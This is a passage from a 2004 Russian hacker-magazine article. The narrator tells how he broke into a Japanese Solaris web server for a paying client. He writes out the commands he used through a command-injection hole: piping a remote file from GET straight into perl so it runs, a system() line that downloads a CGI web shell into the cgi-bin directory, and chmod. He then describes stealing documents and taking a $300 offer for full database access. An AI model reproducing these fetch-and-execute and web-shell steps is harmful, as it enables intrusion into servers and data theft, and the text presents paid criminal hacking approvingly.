Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #69, СЕНТЯБРЬ 2004 г.

Взлом по-японски

Master-lame-master

Xakep, номер #069, стр. 069-060-3


Внезапно я вспомнил, что все солярки по дефолту комплектуются перловой утилитой GET, которая может находиться в /usr/bin либо в /usr/local/bin. Сделав запрос |ls –la /usr/local/bin/GET|, я удостоверился, что сценарий действительно присутствует в системе. Это хорошо, однако, повторюсь, что staffs.cgi не понимает перенаправление в файл, а у GET нет опций, через которые можно было бы указать output-file. Из вышеописанного можно сделать один простой вывод: ситуация опять выглядела не лучшим образом :). Однако я даже и не думал отчаиваться, поскольку почти сразу вспомнил, что интерпретатор Perl умеет брать программу для выполнения прямо из стандартного входного потока STDIN. И использовав конвейер из двух команд, можно было легко выполнить на уязвимой машине любой сценарий: запрос вида |/usr/local/bin/GET http://host.com/file.cgi | /usr/local/bin/perl --| привел к тому, что скачанный файл выполнился как перловый сценарий, даже не сохранившись на сервере! Таким образом, мне ничего не мешало составить вспомогательный сценарий, содержащий всего одну строку system("/usr/local/bin/GET http://host.ru/cmd.cgi > /path/to/www/cgi-bin/cmd.cgi"). В отдельном сценарии я уже мог юзать любые символы (и перенаправления в том числе).

Нужно помнить, что Perl считывает данные из STDIN, пока не встретит конструкцию __END__. В противном случае перловый процесс осядет в таблице и будет там висеть, пока его не запалит злой японский админ-самурай :). В связи с этим я добавил вторую строку во временной скрипт, а затем выполнил команду.

После успешной закачки я дал сценарию достаточные для выполнения права (|chmod 755 cmd.cgi|). Загрузив командную оболочку, я во второй раз за день получил ошибку 500. Это выглядело странным, ведь файл может выполняться, сам сценарий не содержит плохих команд, да и путь к интерпретатору указан верно. Для ясности картины я выполнил запрос |perl –c cmd.cgi| и perl отрапортовал, что с синтаксисом все ок.

Спустя десять минут до меня доперло, что баг крылся в неправильном режиме передачи данных. Если бы я перекачал скрипт через ftp, клиент залил файл в ASCII-режиме. Из-за того, что GET не умеет выдирать символы \r из переданных документов, взломщик и получил ошибку 500. Для исправления ситуации пришлось соединиться с юниксовым ftpd и залить туда сценарий в ASCII. Затем перекачать обратно уже в бинарном режиме. Я выполнил все это, затем обновил браузер и увидел, что командный WWW-шелл работает!

Изменение правил

Стянув пару нужных файлов, я скинул уведомление заказчику. Спустя час он проснулся и объявил, что двух документов недостаточно и он поднимает цену до $300, если я предоставлю ему полный доступ к базе доков на сервере. Немного позлившись на то, что менять правила игры после выполнения успешного задания не принято, я согласился.

Назад на стр. 069-060-2  Содержание  Вперед на стр. 069-060-4